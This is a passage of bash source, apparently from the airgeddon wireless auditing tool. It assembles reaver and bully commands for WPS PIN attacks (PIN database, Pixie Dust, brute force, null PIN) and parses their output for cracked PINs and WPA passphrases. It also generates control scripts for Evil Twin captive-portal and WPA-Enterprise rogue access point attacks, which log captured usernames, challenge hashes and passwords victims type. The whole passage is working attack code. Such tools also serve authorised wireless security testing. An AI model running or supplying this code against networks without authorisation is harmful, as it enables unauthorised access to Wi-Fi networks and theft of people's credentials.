				attack_cmd1="reaver -i \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} \${script_bully_reaver_band_modifier} -L -f -N -g 1 -d 2 -vvv -p "
			;;
			"pixiedust")
				attack_cmd1="reaver -i \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} \${script_bully_reaver_band_modifier} -K 1 -N -vvv"
			;;
			"bruteforce")
				attack_cmd1="reaver -i \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} \${script_bully_reaver_band_modifier} -L -f -N -d 2 -vvv"
			;;
			"nullpin")
				attack_cmd1="reaver -i \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} \${script_bully_reaver_band_modifier} -L -f -N -g 1 -d 2 -vvv -p ''"
			;;
		esac
	else
		unbuffer="stdbuf -i0 -o0 -e0 "
		case ${wps_attack_mode} in
			"pindb"|"custompin")
				attack_cmd1="bully \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} \${script_bully_reaver_band_modifier} -L -F -B -v ${bully_verbosity} -p "
			;;
			"pixiedust")
				attack_cmd1="bully \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} \${script_bully_reaver_band_modifier} -d -v ${bully_verbosity}"
			;;
			"bruteforce")
				attack_cmd1="bully \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} \${script_bully_reaver_band_modifier} -S -L -F -B -v ${bully_verbosity}"
			;;
		esac
	fi

	attack_cmd2=" | tee ${tmpdir}${wps_out_file}"

	cat >&7 <<-EOF
		#!/usr/bin/env bash

		script_wps_attack_tool="${wps_attack_tool}"
		script_wps_attack_mode="${wps_attack_mode}"
		attack_pin_counter=1
		script_interface="${interface}"
		script_wps_bssid="${wps_bssid}"
		script_wps_channel="${wps_channel}"
		script_bully_reaver_band_modifier="${bully_reaver_band_modifier}"
		colorize="${colorize}"
		user_homedir="${user_homedir}"

		case "\${script_wps_attack_mode}" in
			"pindb")
				script_pins_found=(${pins_found[@]})
				script_attack_cmd1="${unbuffer}timeout --foreground -s SIGTERM ${timeout_secs_per_pin} ${attack_cmd1}"
				pin_header1="${white_color}Testing PIN "
			;;
			"custompin")
				current_pin=${custom_pin}
				script_attack_cmd1="${unbuffer}timeout --foreground -s SIGTERM ${timeout_secs_per_pin} ${attack_cmd1}"
				pin_header1="${white_color}Testing PIN "
			;;
			"pixiedust")
				script_attack_cmd1="${unbuffer}timeout --foreground -s SIGTERM ${timeout_secs_per_pixiedust} ${attack_cmd1}"
				pin_header1="${white_color}Testing Pixie Dust attack${normal_color}"
			;;
			"bruteforce")
				script_attack_cmd1="${unbuffer} ${attack_cmd1}"
				pin_header1="${white_color}Testing all possible PINs${normal_color}"
			;;
			"nullpin")
				script_attack_cmd1="${unbuffer}timeout --foreground -s SIGTERM ${timeout_secs_per_pin} ${attack_cmd1}"
				pin_header1="${white_color}Testing null PIN"
			;;
		esac

		pin_header2=" (${yellow_color}"
		pin_header3="${white_color})${normal_color}"
		script_attack_cmd2="${attack_cmd2}"

		#Delete the existing bully session files
		function clear_bully_session_files() {

			rm -rf "\${user_homedir}.bully/"*.run > /dev/null 2>&1
			rm -rf "\${user_homedir}.bully/"*.pins > /dev/null 2>&1
		}

		#Delete the existing reaver session files
		function clear_reaver_session_files() {

			rm -rf "/var/lib/reaver/"*.wpc > /dev/null 2>&1
			rm -rf "/var/lib/lib/reaver/"*.wpc > /dev/null 2>&1
			rm -rf "/etc/reaver/"*.wpc > /dev/null 2>&1
			rm -rf "/usr/local/var/lib/reaver/"*.wpc > /dev/null 2>&1
			rm -rf "/usr/local/etc/reaver/"*.wpc > /dev/null 2>&1
		}

		#Check if the password was obtained through the wps pin
		function manage_wps_pot() {

			if [ -n "\${2}" ]; then
				trophy_pin="\${2}"
			else
				trophy_pin="Null"
			fi

			echo "" > "${wpspotenteredpath}"
			{
			date +%Y-%m-%d
			echo -e "${wps_texts[${language},1]}"
			echo ""
			echo -e "BSSID: ${wps_bssid}"
			echo -e "${wps_texts[${language},2]}: ${wps_channel}"
			echo -e "ESSID: ${wps_essid}"
			echo ""
			echo "---------------"
			echo ""
			echo -e "PIN: \${trophy_pin}"
			echo -e "\${1}"
			echo ""
			echo "---------------"
			echo ""
			echo "${footer_texts[${language},0]}"
			} >> "${wpspotenteredpath}"

			echo ""
			echo -e "${white_color}${wps_texts[${language},0]}: ${yellow_color}${wpspotenteredpath}"
		}

		#Parse the output file generated by the attack
		function parse_output() {

			readarray -t LINES_TO_PARSE < <(cat < "${tmpdir}${wps_out_file}" 2> /dev/null)

			if [ "\${script_wps_attack_tool}" = "reaver" ]; then
				case "\${script_wps_attack_mode}" in
					"pindb"|"custompin"|"bruteforce"|"nullpin")
						failed_attack_regexp="^\[!\][[:space:]]WPS[[:space:]]transaction[[:space:]]failed"
						success_attack_badpin_regexp="^\[\-\][[:space:]]Failed[[:space:]]to[[:space:]]recover[[:space:]]WPA[[:space:]]key"
						success_attack_goodpin_regexp="^\[\+\][[:space:]]Pin[[:space:]]cracked"
						pin_cracked_regexp="^\[\+\][[:space:]]WPS[[:space:]]PIN:[[:space:]]'([0-9]{8})'"
						password_cracked_regexp="^\[\+\][[:space:]]WPA[[:space:]]PSK:[[:space:]]'(.*)'"
					;;
					"pixiedust")
						success_attack_goodpixie_pin_regexp="^(\[Pixie\-Dust\]|\[\+\])[[:space:]]*(\[\+\][[:space:]]*WPS|WPS)[[:space:]](pin|PIN):.*([0-9]{8})"
						success_attack_goodpixie_password_regexp=".*?\[\+\][[:space:]]WPA[[:space:]]PSK:[[:space:]]'(.*)'"
					;;
				esac
			else
				case "\${script_wps_attack_mode}" in
					"pindb"|"custompin"|"bruteforce")
						failed_attack_regexp="^\[\+\][[:space:]].*'WPSFail'"
						success_attack_badpin_regexp="^\[\+\][[:space:]].*'Pin[0-9][0-9]?Bad'"
						success_attack_goodpin_regexp="^\[\*\][[:space:]]Pin[[:space:]]is[[:space:]]'([0-9]{8})',[[:space:]]key[[:space:]]is[[:space:]]'(.*)'"
					;;
					"pixiedust")
						success_attack_goodpixie_pin_regexp="^(\[Pixie\-Dust\])[[:space:]](PIN|pin|Pin)[[:space:]](FOUND:)[[:space:]]([0-9]{8})"
						success_attack_goodpixie_password_regexp="^\[\*\][[:space:]]Pin[[:space:]]is[[:space:]]'[0-9]{8}',[[:space:]]key[[:space:]]is[[:space:]]'(.*)'"
					;;
				esac
			fi

			case "\${script_wps_attack_mode}" in
				"pindb"|"custompin"|"nullpin")
					for item in "\${LINES_TO_PARSE[@]}"; do
						if [ "\${script_wps_attack_tool}" = "reaver" ]; then
							if [[ "\${item}" =~ \${success_attack_goodpin_regexp} ]] || [[ "\${pin_cracked}" -eq 1 ]]; then
								if [[ "\${item}" =~ \${pin_cracked_regexp} ]]; then
									cracked_pin="\${BASH_REMATCH[1]}"
									continue
								elif [[ \${item} =~ \${password_cracked_regexp} ]]; then
									cracked_password="\${BASH_REMATCH[1]}"
									return 0
								fi
								pin_cracked=1
								continue
							elif [[ "\${item}" =~ \${success_attack_badpin_regexp} ]]; then
								return 2
							elif [[ "\${item}" =~ \${failed_attack_regexp} ]]; then
								return 1
							fi
						else
							if [[ "\${item}" =~ \${success_attack_goodpin_regexp} ]]; then
								cracked_pin="\${BASH_REMATCH[1]}"
								cracked_password="\${BASH_REMATCH[2]}"
								pin_cracked=1
								return 0
							elif [[ "\${item}" =~ \${failed_attack_regexp} ]]; then
								return 1
							elif [[ "\${item}" =~ \${success_attack_badpin_regexp} ]]; then
								return 2
							fi
						fi
					done
				;;
				"pixiedust")
					for item in "\${LINES_TO_PARSE[@]}"; do
						if [[ "\${item}" =~ \${success_attack_goodpixie_pin_regexp} ]]; then
							cracked_pin="\${BASH_REMATCH[4]}"
							pin_cracked=1
							continue
						elif [[ "\${item}" =~ \${success_attack_goodpixie_password_regexp} ]]; then
							cracked_password="\${BASH_REMATCH[1]}"
							return 0
						fi
					done
					if [ "\${pin_cracked}" -eq 1 ]; then
						return 0
					fi
				;;
				"bruteforce")
					for item in "\${LINES_TO_PARSE[@]}"; do
						if [ "\${script_wps_attack_tool}" = "reaver" ]; then
							if [[ "\${item}" =~ \${success_attack_goodpin_regexp} ]] || [[ "\${pin_cracked}" -eq 1 ]]; then
								if [[ "\${item}" =~ \${pin_cracked_regexp} ]]; then
									cracked_pin="\${BASH_REMATCH[1]}"
									continue
								elif [[ "\${item}" =~ \${password_cracked_regexp} ]]; then
									cracked_password="\${BASH_REMATCH[1]}"
									return 0
								fi
								pin_cracked=1
								continue
							fi
						else
							if [[ "\${item}" =~ \${success_attack_goodpin_regexp} ]]; then
								cracked_pin="\${BASH_REMATCH[1]}"
								cracked_password="\${BASH_REMATCH[2]}"
								pin_cracked=1
								return 0
							fi
						fi
					done
				;;
			esac
			return 3
		}

		#Prints message for pins on timeout
		function print_timeout() {

			echo
			if [ "\${script_wps_attack_mode}" = "pixiedust" ]; then
				timeout_msg="${white_color}Timeout for Pixie Dust attack${normal_color}"
			elif [ "\${script_wps_attack_mode}" = "nullpin" ]; then
				timeout_msg="${white_color}Timeout for null PIN${normal_color}"
			else
				timeout_msg="${white_color}Timeout for last PIN${normal_color}"
			fi

			echo -e "\${timeout_msg}"
		}

		pin_cracked=0
		this_pin_timeout=0
		case \${script_wps_attack_mode} in
			"pindb")
				for current_pin in "\${script_pins_found[@]}"; do
					possible_bully_timeout=0
					if [ "\${attack_pin_counter}" -ne 1 ]; then
						sleep 1.5
					fi
					bad_attack_this_pin_counter=0
					if [ "\${this_pin_timeout}" -eq 1 ]; then
						print_timeout
					fi

					echo
					echo -e "\${pin_header1}\${current_pin}\${pin_header2}\${attack_pin_counter}/\${#script_pins_found[@]}\${pin_header3}"
					if [ "\${script_wps_attack_tool}" = "bully" ]; then
						echo
						clear_bully_session_files
					else
						clear_reaver_session_files
					fi

					this_pin_timeout=0
					(set -o pipefail && eval "\${script_attack_cmd1}\${current_pin}\${script_attack_cmd2} \${colorize}")
					if [ "\$?" = "124" ]; then
						if [ "\${script_wps_attack_tool}" = "reaver" ]; then
							this_pin_timeout=1
						else
							possible_bully_timeout=1
						fi
					fi
					attack_pin_counter=\$((attack_pin_counter + 1))
					parse_output
					output="\$?"
					if [ "\${output}" = "0" ]; then
						break
					elif [ "\${output}" = "1" ]; then
						this_pin_timeout=1
						continue
					elif [ "\${output}" = "2" ]; then
						continue
					elif [[ "\${output}" = "3" ]] || [[ "\${this_pin_timeout}" -eq 1 ]] || [[ "\${possible_bully_timeout}" -eq 1 ]]; then
						if [ "\${this_pin_timeout}" -eq 1 ]; then
							continue
						fi
						bad_attack_this_pin_counter=\$((bad_attack_this_pin_counter + 1))
						if [ "\${bad_attack_this_pin_counter}" -eq 3 ]; then
							this_pin_timeout=1
							continue
						fi
						if [ "\${possible_bully_timeout}" -eq 1 ]; then
							this_pin_timeout=1
							continue
						fi
					fi
				done
			;;
			"custompin")
				possible_bully_timeout=0
				echo
				echo -e "\${pin_header1}\${current_pin}\${pin_header2}\${attack_pin_counter}/1\${pin_header3}"
				if [ "\${script_wps_attack_tool}" = "bully" ]; then
					echo
					clear_bully_session_files
				else
					clear_reaver_session_files
				fi

				(set -o pipefail && eval "\${script_attack_cmd1}\${current_pin}\${script_attack_cmd2} \${colorize}")
				if [ "\$?" = "124" ]; then
					if [ "\${script_wps_attack_tool}" = "reaver" ]; then
						this_pin_timeout=1
					else
						possible_bully_timeout=1
					fi
				fi

				parse_output
				output="\$?"
				if [[ "\${output}" != "0" ]] && [[ "\${output}" != "2" ]]; then
					if [ "\${this_pin_timeout}" -ne 1 ]; then
						if [ "\${output}" = "1" ]; then
							this_pin_timeout=1
						elif [ "\${possible_bully_timeout}" -eq 1 ]; then
							if [ "\${possible_bully_timeout}" -eq 1 ]; then
								this_pin_timeout=1
							fi
						fi
					fi
				fi
			;;
			"pixiedust")
				echo
				echo -e "\${pin_header1}"
				if [ "\${script_wps_attack_tool}" = "bully" ]; then
					echo
					clear_bully_session_files
				else
					clear_reaver_session_files
				fi

				(set -o pipefail && eval "\${script_attack_cmd1}\${script_attack_cmd2} \${colorize}")
				if [ "\$?" = "124" ]; then
					this_pin_timeout=1
				fi
				parse_output
			;;
			"bruteforce")
				echo
				echo -e "\${pin_header1}"
				if [ "\${script_wps_attack_tool}" = "bully" ]; then
					echo
					clear_bully_session_files
				else
					clear_reaver_session_files
				fi
				eval "\${script_attack_cmd1}\${script_attack_cmd2} \${colorize}"
				parse_output
			;;
			"nullpin")
				echo
				echo -e "\${pin_header1}"
				(set -o pipefail && eval "\${script_attack_cmd1}\${script_attack_cmd2} \${colorize}")
				if [ "\$?" = "124" ]; then
					this_pin_timeout=1
				fi
				parse_output
			;;
		esac

		if [ "\${pin_cracked}" -eq 1 ]; then
			echo
			pin_cracked_msg="${white_color}PIN cracked: ${yellow_color}"
			password_cracked_msg="${white_color}Password cracked: ${yellow_color}"
			password_not_cracked_msg="${white_color}Password was not cracked: ${yellow_color}Maybe because bad/low signal, or PBC activated on AP"
			echo -e "\${pin_cracked_msg}\${cracked_pin}"

			if [ -n "\${cracked_password}" ]; then
				echo -e "\${password_cracked_msg}\${cracked_password}"
				manage_wps_pot "\${cracked_password}" "\${cracked_pin}"
			else
				echo -e "\${password_not_cracked_msg}"
			fi
		fi

		if [ "\${this_pin_timeout}" -eq 1 ]; then
			print_timeout
		fi

		echo
		echo -e "${white_color}Close this window"
		read -r -d '' _ </dev/tty
	EOF

	exec 7>&-
	sleep 1
}

#Create here-doc bash script used for control windows on Enterprise attacks
function set_enterprise_control_script() {

	debug_print

	exec 7>"${tmpdir}${control_enterprise_file}"

	local control_msg
	if [ "${enterprise_mode}" = "smooth" ]; then
		control_msg=${enterprise_texts[${language},3]}
	else
		control_msg=${enterprise_texts[${language},4]}
	fi

	cat >&7 <<-EOF
		#!/usr/bin/env bash

		interface="${interface}"
		et_initial_state="${et_initial_state}"
		interface_airmon_compatible=${interface_airmon_compatible}
		iface_monitor_et_deauth="${iface_monitor_et_deauth}"
		airmon="${airmon}"
		enterprise_returning_vars_file="${tmpdir}${enterprisedir}returning_vars.txt"
		enterprise_heredoc_mode="${enterprise_mode}"
		path_to_processes="${tmpdir}${et_processesfile}"
		path_to_channelfile="${tmpdir}${channelfile}"
		wpe_logfile="${tmpdir}${hostapd_wpe_log}"
		success_file="${tmpdir}${enterprisedir}${enterprise_successfile}"
		done_msg="${yellow_color}${enterprise_texts[${language},9]}${normal_color}"
		log_reminder_msg="${pink_color}${enterprise_texts[${language},10]}: [${normal_color}${enterprise_completepath}${pink_color}]${normal_color}"

		#Restore interface to its original state
		function restore_interface() {

			if hash rfkill 2> /dev/null; then
				rfkill unblock all > /dev/null 2>&1
			fi

			iw dev "\${iface_monitor_et_deauth}" del > /dev/null 2>&1

			if [ "\${et_initial_state}" = "Managed" ]; then
				ip link set "\${interface}" down > /dev/null 2>&1
				iw "\${interface}" set type managed > /dev/null 2>&1
				ip link set "\${interface}" up > /dev/null 2>&1
				ifacemode="Managed"
			else
				if [ "\${interface_airmon_compatible}" -eq 1 ]; then
					new_interface=\$(\${airmon} start "\${interface}" 2> /dev/null | grep monitor)

					[[ \${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="\${BASH_REMATCH[1]}"
					if [ "\${interface}" != "\${new_interface}" ]; then
						interface=\${new_interface}
						phy_interface=\$(basename "\$(readlink "/sys/class/net/\${interface}/phy80211")" 2> /dev/null)
						current_iface_on_messages="\${interface}"
					fi
				else
					ip link set "\${interface}" down > /dev/null 2>&1
					iw "\${interface}" set monitor control > /dev/null 2>&1
					ip link set "\${interface}" up > /dev/null 2>&1
				fi
				ifacemode="Monitor"
			fi
		}

		#Save some vars to a file to get read from main script
		function save_returning_vars_to_file() {
			{
			echo -e "interface=\${interface}"
			echo -e "phy_interface=\${phy_interface}"
			echo -e "current_iface_on_messages=\${current_iface_on_messages}"
			echo -e "ifacemode=\${ifacemode}"
			} > "\${enterprise_returning_vars_file}"
		}
	EOF

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		cat >&7 <<-EOF
			#Function to kill tmux windows using window name
			function kill_tmux_windows() {

				local TMUX_WINDOWS_LIST=()
				local current_window_name
				readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:")
				for item in "\${TMUX_WINDOWS_LIST[@]}"; do
					[[ "\${item}" =~ ^[0-9]+:[[:blank:]](.+([^*-]))([[:blank:]]|\-|\*)[[:blank:]]?\([0-9].+ ]] && current_window_name="\${BASH_REMATCH[1]}"
					if [ "\${current_window_name}" = "${tmux_main_window}" ]; then
						continue
					fi
					if [ -n "\${1}" ]; then
						if [ "\${current_window_name}" = "\${1}" ]; then
							continue
						fi
					fi
					tmux kill-window -t "${session_name}:\${current_window_name}"
				done
			}
		EOF
	fi

	cat >&7 <<-EOF
		#Kill Evil Twin Enterprise processes
		function kill_enterprise_windows() {

			readarray -t ENTERPRISE_PROCESSES_TO_KILL < <(cat < "\${path_to_processes}" 2> /dev/null)
			for item in "\${ENTERPRISE_PROCESSES_TO_KILL[@]}"; do
				kill "\${item}" &> /dev/null
			done
		}

		#Check if a hash or a password was captured (0=hash, 1=plaintextpass, 2=both)
		function check_captured() {

			local hash_captured=0
			local plaintext_password_captured=0
			readarray -t ENTERPRISE_LINES_TO_PARSE < <(cat < "\${wpe_logfile}" 2> /dev/null)
			for item in "\${ENTERPRISE_LINES_TO_PARSE[@]}"; do

				if [[ "\${item}" =~ challenge: ]]; then
					hash_captured=1
				elif [[ "\${item}" =~ password: ]]; then
					plaintext_password_captured=1
				fi
			done

			if [[ "\${hash_captured}" -eq 1 ]] || [[ "\${plaintext_password_captured}" -eq 1 ]]; then
				touch "\${success_file}" > /dev/null 2>&1
			fi

			if [[ "\${hash_captured}" -eq 1 ]] && [[ "\${plaintext_password_captured}" -eq 0 ]]; then
				echo 0 > "\${success_file}" 2> /dev/null
				return 0
			elif [[ "\${hash_captured}" -eq 0 ]] && [[ "\${plaintext_password_captured}" -eq 1 ]]; then
				echo 1 > "\${success_file}" 2> /dev/null
				return 0
			elif [[ "\${hash_captured}" -eq 1 ]] && [[ "\${plaintext_password_captured}" -eq 1 ]]; then
				echo 2 > "\${success_file}" 2> /dev/null
				return 0
			fi

			return 1
		}

		#Set captured hashes and passwords counters
		#shellcheck disable=SC2155
		function set_captured_counters() {

			declare -A lines_and_usernames

			readarray -t CAPTURED_USERNAMES < <(grep -n -E "username:" "\${wpe_logfile}" | sort -k 2,2 | uniq --skip-fields=1 2> /dev/null)
			for item in "\${CAPTURED_USERNAMES[@]}"; do
				[[ \${item} =~ ([0-9]+):.*username:[[:blank:]]+(.*) ]] && line_number="\${BASH_REMATCH[1]}" && username="\${BASH_REMATCH[2]}"
				lines_and_usernames["\${username}"]="\${line_number}"
			done

			hashes_counter=0
			plaintext_pass_counter=0
			for item2 in "\${lines_and_usernames[@]}"; do
				local line_to_check=\$((item2 + 1))
				local text_to_check=\$(sed "\${line_to_check}q;d" "\${wpe_logfile}" 2> /dev/null)
				if [[ "\${text_to_check}" =~ challenge: ]]; then
					hashes_counter=\$((hashes_counter + 1))
				elif [[ "\${text_to_check}" =~ password: ]]; then
					plaintext_pass_counter=\$((plaintext_pass_counter + 1))
				fi
			done
		}

		#Get last captured username
		function get_last_username() {

			line_with_last_user=\$(grep -E "username:" "\${wpe_logfile}" | tail -1)
			[[ \${line_with_last_user} =~ username:[[:blank:]]+(.*) ]] && last_username="\${BASH_REMATCH[1]}"
		}

		date_counter=\$(date +%s)
		last_username=""
		break_on_next_loop=0
		while true; do
			et_control_window_channel=\$(cat "\${path_to_channelfile}" 2> /dev/null)
			if [ "\${break_on_next_loop}" -eq 1 ]; then
				tput ed
			fi

			echo -e "\t${yellow_color}${enterprise_texts[${language},0]} ${white_color}// ${blue_color}BSSID: ${normal_color}${bssid} ${yellow_color}// ${blue_color}${enterprise_texts[${language},1]}: ${normal_color}\${et_control_window_channel} ${yellow_color}// ${blue_color}ESSID: ${normal_color}${essid}"
			echo
			echo -e "\t${green_color}${enterprise_texts[${language},2]}${normal_color}"

			hours=\$(date -u --date @\$((\$(date +%s) - date_counter)) +%H)
			mins=\$(date -u --date @\$((\$(date +%s) - date_counter)) +%M)
			secs=\$(date -u --date @\$((\$(date +%s) - date_counter)) +%S)
			echo -e "\t\${hours}:\${mins}:\${secs}"

			if [ "\${break_on_next_loop}" -eq 0 ]; then
				#shellcheck disable=SC2140
				echo -e "\t${pink_color}${control_msg}${normal_color}\n"
			fi

			echo
			if [ -z "\${last_username}" ]; then
				echo -e "\t${blue_color}${enterprise_texts[${language},6]}${normal_color}"
				echo -e "\t${blue_color}${enterprise_texts[${language},7]}${normal_color}: 0"
				echo -e "\t${blue_color}${enterprise_texts[${language},8]}${normal_color}: 0"
			else
				last_name_to_print="${blue_color}${enterprise_texts[${language},5]}:${normal_color}"
				hashes_counter_message="${blue_color}${enterprise_texts[${language},7]}:${normal_color}"
				plaintext_pass_counter_message="${blue_color}${enterprise_texts[${language},8]}:${normal_color}"
				tput el && echo -e "\t\${last_name_to_print} \${last_username}"
				echo -e "\t\${hashes_counter_message} \${hashes_counter}"
				echo -e "\t\${plaintext_pass_counter_message} \${plaintext_pass_counter}"
			fi

			if [ "\${break_on_next_loop}" -eq 1 ]; then
				kill_enterprise_windows
	EOF

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		cat >&7 <<-EOF
				kill_tmux_windows "Control"
		EOF
	fi

	cat >&7 <<-EOF
				break
			fi

			if check_captured; then
				get_last_username
				set_captured_counters
			 	if [ "\${enterprise_heredoc_mode}" = "smooth" ]; then
					break_on_next_loop=1
				fi
			fi

			echo -ne "\033[K\033[u"
			sleep 0.3
			current_window_size="\$(tput cols)x\$(tput lines)"
			if [ "\${current_window_size}" != "\${stored_window_size}" ]; then
				stored_window_size="\${current_window_size}"
				clear
			fi
		done

		if [ "\${enterprise_heredoc_mode}" = "smooth" ]; then
			echo
			echo -e "\t\${log_reminder_msg}"
			echo
			echo -e "\t\${done_msg}"

			if [ "\${enterprise_heredoc_mode}" = "smooth" ]; then
				restore_interface
				save_returning_vars_to_file
			fi

			exit 0
		fi
	EOF

	exec 7>&-
	sleep 1
}

#Create here-doc bash script used for control windows on Evil Twin attacks
function set_et_control_script() {

	debug_print

	rm -rf "${tmpdir}${control_et_file}" > /dev/null 2>&1

	exec 7>"${tmpdir}${control_et_file}"

	cat >&7 <<-EOF
		#!/usr/bin/env bash

		et_heredoc_mode="${et_mode}"
		path_to_processes="${tmpdir}${et_processesfile}"
		path_to_channelfile="${tmpdir}${channelfile}"
		right_arping="${right_arping}"
		able_to_play_sounds="${able_to_play_sounds}"

		#Kill a given PID and all its subprocesses recursively
		function kill_pid_and_children_recursive() {

			local parent_pid=""
			local child_pids=""

			parent_pid="\${1}"
			child_pids=\$(pgrep -P "\${parent_pid}" 2> /dev/null)

			for child_pid in \${child_pids}; do
				kill_pid_and_children_recursive "\${child_pid}"
			done
			if [ -n "\${child_pids}" ]; then
				pkill -P "\${parent_pid}" &> /dev/null
			fi

			kill "\${parent_pid}" &> /dev/null
			wait "\${parent_pid}" 2> /dev/null
		}

		#Kill all the related processes
		function kill_et_processes_control_script() {

			readarray -t ET_PROCESSES_TO_KILL < <(cat < "\${path_to_processes}" 2> /dev/null)
			for item in "\${ET_PROCESSES_TO_KILL[@]}"; do
				kill_pid_and_children_recursive "\${item}"
			done
		}

		if [ "\${et_heredoc_mode}" = "et_captive_portal" ]; then
			attempts_path="${tmpdir}${webdir}${attemptsfile}"
			attempts_text="${blue_color}${et_misc_texts[${language},20]}:${normal_color}"
			last_password_msg="${blue_color}${et_misc_texts[${language},21]}${normal_color}"
	EOF

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		cat >&7 <<-EOF
			#Function to kill tmux windows using window name
			function kill_tmux_windows() {

				local TMUX_WINDOWS_LIST=()
				local current_window_name
				readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:")
				for item in "\${TMUX_WINDOWS_LIST[@]}"; do
					[[ "\${item}" =~ ^[0-9]+:[[:blank:]](.+([^*-]))([[:blank:]]|\-|\*)[[:blank:]]?\([0-9].+ ]] && current_window_name="\${BASH_REMATCH[1]}"
					if [ "\${current_window_name}" = "${tmux_main_window}" ]; then
						continue
					fi
					if [ -n "\${1}" ]; then
						if [ "\${current_window_name}" = "\${1}" ]; then
							continue
						fi
					fi
					tmux kill-window -t "${session_name}:\${current_window_name}"
				done
			}
		EOF
	fi

	cat >&7 <<-EOF
			#Handle the finish of the Evil Twin attack
			#shellcheck disable=SC1102
			function finish_evil_twin() {

				echo "" > "${et_captive_portal_logpath}"
				date +%Y-%m-%d >> "${et_captive_portal_logpath}"
				{
				echo "${et_misc_texts[${language},19]}"
				echo ""
				echo "BSSID: ${bssid}"
				echo "${et_misc_texts[${language},1]}: ${channel}"
				echo "ESSID: ${essid}"
				echo ""
				echo "---------------"
				echo ""
				} >> "${et_captive_portal_logpath}"

				success_pass_path="${tmpdir}${webdir}${currentpassfile}"
				msg_good_pass="${et_misc_texts[${language},11]}:"
				log_path="${et_captive_portal_logpath}"
				log_reminder_msg="${pink_color}${et_misc_texts[${language},24]}: [${normal_color}${et_captive_portal_logpath}${pink_color}]${normal_color}"
				done_msg="${yellow_color}${et_misc_texts[${language},25]}${normal_color}"
				echo -e "\t${blue_color}${et_misc_texts[${language},23]}:${normal_color}"
				echo
				echo "\${msg_good_pass} \$((cat < \${success_pass_path}) 2> /dev/null)" >> "\${log_path}"
				attempts_number=\$((cat < "\${attempts_path}" | wc -l) 2> /dev/null)
				et_password=\$((cat < \${success_pass_path}) 2> /dev/null)
				echo -e "\t\${et_password}"
				echo
				echo -e "\t\${log_reminder_msg}"
				echo
				echo -e "\t\${done_msg}"

				if [ "\${attempts_number}" -gt 0 ]; then
					{
					echo ""
					echo "---------------"
					echo ""
					echo "${et_misc_texts[${language},22]}:"
					echo ""
					} >> "${et_captive_portal_logpath}"
					readarray -t BADPASSWORDS < <(cat < "${tmpdir}${webdir}${attemptsfile}" 2> /dev/null)

					for badpass in "\${BADPASSWORDS[@]}"; do
						echo "\${badpass}" >> "${et_captive_portal_logpath}"
					done
				fi

				{
				echo ""
				echo "---------------"
				echo ""
				echo "${footer_texts[${language},0]}"
				} >> "${et_captive_portal_logpath}"

				sleep 2
				kill_et_processes_control_script
	EOF

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		cat >&7 <<-EOF
				kill_tmux_windows "Control"
		EOF
	fi

	cat >&7 <<-EOF
				exit 0
			}
		fi

		date_counter=\$(date +%s)
		last_attempts_number=0
		sounded_ips=()
		while true; do
			et_control_window_channel=\$(cat "\${path_to_channelfile}" 2> /dev/null)
	EOF

	case ${et_mode} in
		"et_onlyap")
			local control_msg=${et_misc_texts[${language},4]}
		;;
		"et_sniffing"|"et_sniffing_sslstrip2")
			local control_msg=${et_misc_texts[${language},5]}
		;;
		"et_sniffing_sslstrip2_beef")
			local control_msg=${et_misc_texts[${language},27]}
		;;
		"et_captive_portal")
			local control_msg=${et_misc_texts[${language},6]}
		;;
	esac

	cat >&7 <<-EOF
			echo -e "\t${yellow_color}${et_misc_texts[${language},0]} ${white_color}// ${blue_color}BSSID: ${normal_color}${bssid} ${yellow_color}// ${blue_color}${et_misc_texts[${language},1]}: ${normal_color}\${et_control_window_channel} ${yellow_color}// ${blue_color}ESSID: ${normal_color}${essid}"
			echo
			echo -e "\t${green_color}${et_misc_texts[${language},2]}${normal_color}"

			hours=\$(date -u --date @\$((\$(date +%s) - date_counter)) +%H)
			mins=\$(date -u --date @\$((\$(date +%s) - date_counter)) +%M)
			secs=\$(date -u --date @\$((\$(date +%s) - date_counter)) +%S)
			echo -e "\t\${hours}:\${mins}:\${secs}"
			echo -e "\t${pink_color}${control_msg}${normal_color}\n"

			if [ "\${et_heredoc_mode}" = "et_captive_portal" ]; then
				if [ -f "${tmpdir}${webdir}${et_successfile}" ]; then
					clear
					echo -e "\t${yellow_color}${et_misc_texts[${language},0]} ${white_color}// ${blue_color}BSSID: ${normal_color}${bssid} ${yellow_color}// ${blue_color}${et_misc_texts[${language},1]}: ${normal_color}${channel} ${yellow_color}// ${blue_color}ESSID: ${normal_color}${essid}"
					echo
					echo -e "\t${green_color}${et_misc_texts[${language},2]}${normal_color}"
					echo -e "\t\${hours}:\${mins}:\${secs}"
					echo
					if [ "\${able_to_play_sounds}" -eq 1 ]; then
						(play -q -n synth 0.3 sine 460 pad 0 0.2 repeat 2 2> /dev/null) &
					fi
					finish_evil_twin
				else
					attempts_number=\$((cat < "\${attempts_path}" | wc -l) 2> /dev/null)
					last_password=\$(grep "." "\${attempts_path}" 2> /dev/null | tail -1)
					tput el && echo -ne "\t\${attempts_text} \${attempts_number}"

					if [ "\${attempts_number}" -gt 0 ]; then
						if [ "\${attempts_number}" -ne "\${last_attempts_number}" ]; then
							if [ "\${able_to_play_sounds}" -eq 1 ]; then
								(play -q -n synth 0.3 sine 420 pad 0 0.2 repeat 1 2> /dev/null) &
							fi
						fi
						last_attempts_number="\${attempts_number}"
						open_parenthesis="${yellow_color}(${normal_color}"
						close_parenthesis="${yellow_color})${normal_color}"
						echo -ne " \${open_parenthesis} \${last_password_msg} \${last_password} \${close_parenthesis}"
					fi
				fi
				echo
				echo
			fi

			echo -e "\t${green_color}${et_misc_texts[${language},3]}${normal_color}"
			readarray -t DHCPCLIENTS < <(grep DHCPACK < "${tmpdir}clts.txt")
			client_ips=()

			#shellcheck disable=SC2199
			if [[ -z "\${DHCPCLIENTS[@]}" ]]; then
				echo -e "\t${et_misc_texts[${language},7]}"
			else
